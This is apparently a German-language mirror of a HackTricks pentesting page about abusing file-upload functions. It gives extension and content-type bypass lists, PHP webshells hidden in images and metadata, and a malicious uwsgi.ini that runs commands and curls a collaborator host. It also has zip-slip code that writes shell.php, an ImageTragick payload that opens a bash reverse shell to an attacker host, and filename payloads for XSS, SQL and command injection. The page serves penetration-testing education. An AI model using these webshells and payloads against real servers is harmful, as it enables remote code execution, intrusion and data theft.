mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-11 22:03:10 +00:00
348 lines
28 KiB
Markdown
348 lines
28 KiB
Markdown
# Datei-Upload
|
||
|
||
<details>
|
||
|
||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||
|
||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys senden.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
## Allgemeine Methodik für Datei-Upload
|
||
|
||
Andere nützliche Erweiterungen:
|
||
|
||
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||
* **Arbeiten in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||
* **Flash**: _.swf_
|
||
* **Perl**: _.pl, .cgi_
|
||
* **Erlang Yaws Web Server**: _.yaws_
|
||
|
||
### Umgehen von Dateierweiterungsprüfungen
|
||
|
||
1. Wenn sie angewendet werden, überprüfen Sie die **vorherigen Erweiterungen**. Testen Sie sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
|
||
2. _Überprüfen Sie, ob Sie **eine gültige Erweiterung vor** der Ausführungserweiterung hinzufügen können (verwenden Sie auch vorherige Erweiterungen):_
|
||
* _file.png.php_
|
||
* _file.png.Php5_
|
||
3. Versuchen Sie, **Sonderzeichen am Ende hinzuzufügen**. Sie könnten Burp verwenden, um alle **ASCII**- und **Unicode**-Zeichen **bruteforce** zu verwenden. (_Beachten Sie, dass Sie auch die **zuvor** genannten **Erweiterungen** ausprobieren können_)
|
||
* _file.php%20_
|
||
* _file.php%0a_
|
||
* _file.php%00_
|
||
* _file.php%0d%0a_
|
||
* _file.php/_
|
||
* _file.php.\\_
|
||
* _file._
|
||
* _file.php...._
|
||
* _file.pHp5...._
|
||
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** auf der Serverseite mit Techniken wie dem **Verdoppeln** der **Erweiterung** oder dem Hinzufügen von **Junk**-Daten (**Null**-Bytes) austricksen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um ein besseres Payload vorzubereiten._
|
||
* _file.png.php_
|
||
* _file.png.pHp5_
|
||
* _file.php#.png_
|
||
* _file.php%00.png_
|
||
* _file.php\x00.png_
|
||
* _file.php%0a.png_
|
||
* _file.php%0d%0a.png_
|
||
* _file.phpJunk123png_
|
||
5. Fügen Sie eine **weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
|
||
* _file.png.jpg.php_
|
||
* _file.php%00.png%00.jpg_
|
||
6. Versuchen Sie, die **Ausführungserweiterung vor der gültigen Erweiterung** zu platzieren und hoffen Sie, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung\*\* _**.php**_**, aber** nicht unbedingt mit .php endet\*\* Code ausführen wird):
|
||
* _z. B.: file.php.png_
|
||
7. Verwenden von **NTFS-Alternativen Datenströmen (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später bearbeitet werden, indem andere Techniken wie die Verwendung ihres Kurznamens verwendet werden. Das Muster "**::$data**" kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.")
|
||
8. Versuchen Sie, die Dateinamenbeschränkungen zu umgehen. Die gültige Erweiterung wird abgeschnitten, und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
|
||
|
||
```
|
||
# Linux maximal 255 Bytes
|
||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # hier 4 abziehen und .png hinzufügen
|
||
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen erlaubt sind. Angenommen, 236
|
||
python -c 'print "A" * 232'
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||
# Erstellen Sie das Payload
|
||
AAA<--SNIP 232 A-->AAA.php.png
|
||
```
|
||
### Umgehen von Content-Type, Magic Number, Komprimierung & Größenänderung
|
||
|
||
* Umgehen Sie **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type-Headers** auf: _image/png_, _text/plain, application/octet-stream_ setzen.
|
||
1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||
* Umgehen Sie die **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (um den _file_-Befehl zu verwirren). Oder führen Sie die Shell in die **Metadaten** ein:\
|
||
`exiftool -Comment="<?php echo 'Befehl:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||
`\` oder Sie könnten auch das **Payload direkt** in ein Bild einfügen:\
|
||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||
* Wenn **Komprimierung zu Ihrem Bild hinzugefügt wird**, z.B. durch die Verwendung einiger Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die zuvor genannten Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunk**-Technik [**hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||
* Die Webseite könnte auch das **Bild verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunk**-Technik [**hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||
* Eine weitere Technik, um ein Payload zu erstellen, der **eine Bildverkleinerung überlebt**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunk**-Technik [**hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||
|
||
### Weitere Tricks zum Überprüfen
|
||
|
||
* Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei umzubenennen (um die Erweiterung zu ändern).
|
||
* Finden Sie eine Schwachstelle für **Local File Inclusion**, um die Backdoor auszuführen.
|
||
* **Mögliche Informationspreisgabe**:
|
||
1. Laden Sie **mehrmals** (und **gleichzeitig**) die **gleiche Datei** mit dem **gleichen Namen** hoch.
|
||
2. Laden Sie eine Datei mit dem **Namen einer Datei** oder eines **Ordners**, der **bereits existiert**, hoch.
|
||
3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird die Datei mit dem Namen “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
|
||
4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie z.B. **“…:.jpg”** in **NTFS** (Windows).
|
||
5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch (Windows).
|
||
6. Laden Sie eine Datei in **Windows** hoch, indem Sie **reservierte** (**verbotene**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 verwenden.
|
||
* Versuchen Sie auch, eine ausführbare Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die Code ausführt, wenn sie versehentlich vom Opfer geöffnet wird.
|
||
|
||
### Spezielle Erweiterungstricks
|
||
|
||
Wenn Sie versuchen, Dateien auf einen **PHP-Server hochzuladen**, [schauen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||
Wenn Sie versuchen, Dateien auf einen **ASP-Server hochzuladen**, [schauen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||
|
||
Die `.phar`-Dateien sind wie die `.jar`-Dateien für Java, aber für PHP und können wie eine PHP-Datei verwendet werden (durch Ausführen mit PHP oder Einbinden in ein Skript...).
|
||
|
||
Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Import von Dateien** dienen, sodass jemand diese Erweiterung möglicherweise **zur Ausführung zugelassen hat**.
|
||
|
||
## **Jetty RCE**
|
||
|
||
Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [RCE erhalten, da **neue \*.xml- und \*.war-Dateien automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Laden Sie also die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarten Sie die Shell!
|
||
|
||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||
|
||
## **uWSGI RCE**
|
||
|
||
Für eine detaillierte Erkundung dieser Schwachstelle lesen Sie die Originalforschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||
|
||
Remote Command Execution (RCE)-Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien verwenden eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzubeziehen. Insbesondere der '@'-Operator, der als `@(Dateiname)` verwendet wird, ist dazu gedacht, den Inhalt einer Datei einzuschließen. Unter den verschiedenen unterstützten Schemata in uWSGI ist das "exec"-Schema besonders mächtig und ermöglicht das Lesen von Daten aus der Standardausgabe eines Prozesses. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
|
||
|
||
Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemata zeigt:
|
||
```ini
|
||
[uwsgi]
|
||
; read from a symbol
|
||
foo = @(sym://uwsgi_funny_function)
|
||
; read from binary appended data
|
||
bar = @(data://[REDACTED])
|
||
; read from http
|
||
test = @(http://[REDACTED])
|
||
; read from a file descriptor
|
||
content = @(fd://[REDACTED])
|
||
; read from a process stdout
|
||
body = @(exec://whoami)
|
||
; curl to exfil via collaborator
|
||
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||
; call a function returning a char *
|
||
characters = @(call://uwsgi_func)
|
||
```
|
||
Die Ausführung der Nutzlast erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial-of-Service-Angriffs) oder die Datei muss auf Auto-Reload eingestellt sein. Die Auto-Reload-Funktion lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
|
||
|
||
Es ist entscheidend, die lockere Natur des Konfigurationsdatei-Parsings von uWSGI zu verstehen. Insbesondere kann die besprochene Nutzlast in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den potenziellen Ausbeutungsbereich weiter ausdehnt.
|
||
|
||
## **wget Datei-Upload/SSRF-Trick**
|
||
|
||
In einigen Fällen kann festgestellt werden, dass ein Server **`wget`** zum **Herunterladen von Dateien** verwendet und Sie die **URL angeben können**. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur zugelassene Dateien heruntergeladen werden. **Diese Überprüfung kann jedoch umgangen werden.**\
|
||
Die **maximale** Länge eines **Dateinamens** in **Linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Sie können eine Datei namens "A"\*232+".php"+".gif" herunterladen, dieser Dateiname wird die **Überprüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Erweiterung ist), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
|
||
```bash
|
||
#Create file and HTTP server
|
||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
python3 -m http.server 9080
|
||
```
|
||
|
||
```bash
|
||
#Download the file
|
||
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
The name is too long, 240 chars total.
|
||
Trying to shorten...
|
||
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
|
||
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
|
||
Connecting to 127.0.0.1:9080... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 10 [image/gif]
|
||
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
|
||
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
|
||
|
||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||
```
|
||
Beachten Sie, dass **eine weitere Option**, die Sie möglicherweise in Betracht ziehen, um diese Überprüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Überprüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies **funktioniert nicht**, **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, der in der ursprünglichen URL angegeben ist**.
|
||
|
||
## Werkzeuge
|
||
|
||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug Bounty Jägern dabei hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und eine gründliche Bewertung von Webanwendungen sicherzustellen.
|
||
|
||
## Vom Datei-Upload zu anderen Schwachstellen
|
||
|
||
* Setzen Sie den **Dateinamen** auf `../../../tmp/lol.png` und versuchen Sie, eine **Pfadtraversierung** zu erreichen
|
||
* Setzen Sie den **Dateinamen** auf `sleep(10)-- -.jpg` und Sie könnten eine **SQL-Injektion** erreichen
|
||
* Setzen Sie den **Dateinamen** auf `<svg onload=alert(document.domain)>`, um ein XSS zu erreichen
|
||
* Setzen Sie den **Dateinamen** auf `; sleep 10;`, um einige Befehlsinjektionen zu testen (mehr [Befehlsinjektionstricks hier](../command-injection.md))
|
||
* [**XSS** in Bild (svg) Datei-Upload](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||
* **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||
* [**XXE in svg-Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||
* [**Offene Weiterleitung** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files)
|
||
* Versuchen Sie **verschiedene svg Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||
* [Berühmte **ImageTrick**-Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||
* Wenn Sie den Webserver **anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, einen [SSRF](../ssrf-server-side-request-forgery/) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Website gespeichert wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
|
||
* [**XXE und CORS**-Umgehung mit PDF-Adobe-Upload](pdf-upload-xxe-and-cors-bypass.md)
|
||
* Speziell präparierte PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten einspeist, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebigen JS ausführen werden, indem Sie den gegebenen Anweisungen folgen.
|
||
* Laden Sie den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu überprüfen, ob der Server ein **Antivirus** hat
|
||
* Überprüfen Sie, ob es eine **Größenbeschränkung** beim Hochladen von Dateien gibt
|
||
|
||
Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||
|
||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||
2. **SVG**: Gespeicherter XSS / SSRF / XXE
|
||
3. **GIF**: Gespeicherter XSS / SSRF
|
||
4. **CSV**: CSV-Injektion
|
||
5. **XML**: XXE
|
||
6. **AVI**: LFI / SSRF
|
||
7. **HTML / JS** : HTML-Injektion / XSS / Offene Weiterleitung
|
||
8. **PNG / JPEG**: Pixel-Flutangriff (DoS)
|
||
9. **ZIP**: RCE über LFI / DoS
|
||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||
|
||
#### Burp-Erweiterung
|
||
|
||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||
|
||
## Magische Header-Bytes
|
||
|
||
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||
* **JPG**: `"\xff\xd8\xff"`
|
||
|
||
Siehe [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) für andere Dateitypen.
|
||
|
||
### Zip/Tar-Datei automatisch dekomprimierter Upload
|
||
|
||
Wenn Sie eine ZIP-Datei hochladen können, die auf dem Server dekomprimiert wird, können Sie 2 Dinge tun:
|
||
|
||
#### Symlink
|
||
|
||
Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält, und greifen Sie dann auf die dekomprimierten Dateien zu, um auf die verknüpften Dateien zuzugreifen:
|
||
```
|
||
ln -s ../../../index.php symindex.txt
|
||
zip --symlinks test.zip symindex.txt
|
||
tar -cvf test.tar symindex.txt
|
||
```
|
||
### Dekomprimieren in verschiedenen Ordnern
|
||
|
||
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekomprimierung ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration möglicherweise vor der Ausführung von Befehlen auf OS-Ebene durch bösartige Datei-Uploads schützt, können die hierarchische Komprimierungsunterstützung und die Verzeichnis-Traversierungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht es Angreifern, Beschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekomprimierungsfunktionalität der gezielten Anwendung manipulieren.
|
||
|
||
Ein automatisierter Exploit zur Erstellung solcher Dateien ist unter [**evilarc auf GitHub**](https://github.com/ptoomey3/evilarc) verfügbar. Das Dienstprogramm kann wie folgt verwendet werden:
|
||
```python
|
||
# Listing available options
|
||
python2 evilarc.py -h
|
||
# Creating a malicious archive
|
||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||
```
|
||
Zusätzlich ist der **Symlink-Trick mit Evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass Evilarc während seines Betriebs keine Fehler meldet.
|
||
|
||
Im Folgenden finden Sie ein Beispiel für Python-Code, der verwendet wird, um eine bösartige Zip-Datei zu erstellen:
|
||
```python
|
||
#!/usr/bin/python
|
||
import zipfile
|
||
from io import BytesIO
|
||
|
||
def create_zip():
|
||
f = BytesIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.writestr('otherfile.xml', 'Content of the file')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
**Ausnutzung der Komprimierung für Dateispraying**
|
||
|
||
Für weitere Details **überprüfen Sie den Originalbeitrag unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||
|
||
1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle aus der `$_REQUEST`-Variablen auszuführen.
|
||
|
||
```php
|
||
<?php
|
||
if(isset($_REQUEST['cmd'])){
|
||
$cmd = ($_REQUEST['cmd']);
|
||
system($cmd);
|
||
}?>
|
||
```
|
||
2. **Dateispraying und Erstellung komprimierter Dateien**: Es werden mehrere Dateien erstellt und ein Zip-Archiv wird erstellt, das diese Dateien enthält.
|
||
|
||
```bash
|
||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||
```
|
||
3. **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien innerhalb des Zip-Archivs werden mit vi oder einem Hex-Editor geändert, indem "xxA" in "../" geändert wird, um Verzeichnisse zu durchqueren.
|
||
|
||
```bash
|
||
:set modifiable
|
||
:%s/xxA/..\//g
|
||
:x!
|
||
```
|
||
|
||
## ImageTragic
|
||
|
||
Laden Sie diesen Inhalt mit einer Bildendung hoch, um die Schwachstelle auszunutzen **(ImageMagick, 7.0.1-1)** (aus dem [Exploit](https://www.exploit-db.com/exploits/39767))
|
||
```
|
||
push graphic-context
|
||
viewbox 0 0 640 480
|
||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||
pop graphic-context
|
||
```
|
||
## Einbetten einer PHP-Shell in PNG
|
||
|
||
Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig für das Ändern der Größe und das Neuberechnen von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein bedeutender Vorteil für bestimmte Anwendungsfälle.
|
||
|
||
Eine ausführliche Erkundung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird in folgendem Artikel bereitgestellt: ["Web-Shells in PNG IDAT-Chunks codieren"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Auswirkungen.
|
||
|
||
Mehr Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
|
||
## Polyglotte Dateien
|
||
|
||
Polyglotte Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), eine Hybridform, die sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||
|
||
Der Kernnutzen von polyglotten Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Eine gängige Praxis in verschiedenen Anwendungen besteht darin, nur bestimmte Dateitypen für den Upload zuzulassen - wie JPEG, GIF oder DOC -, um das Risiko durch potenziell schädliche Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglott kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Beschränkungen heimlich umgehen.
|
||
|
||
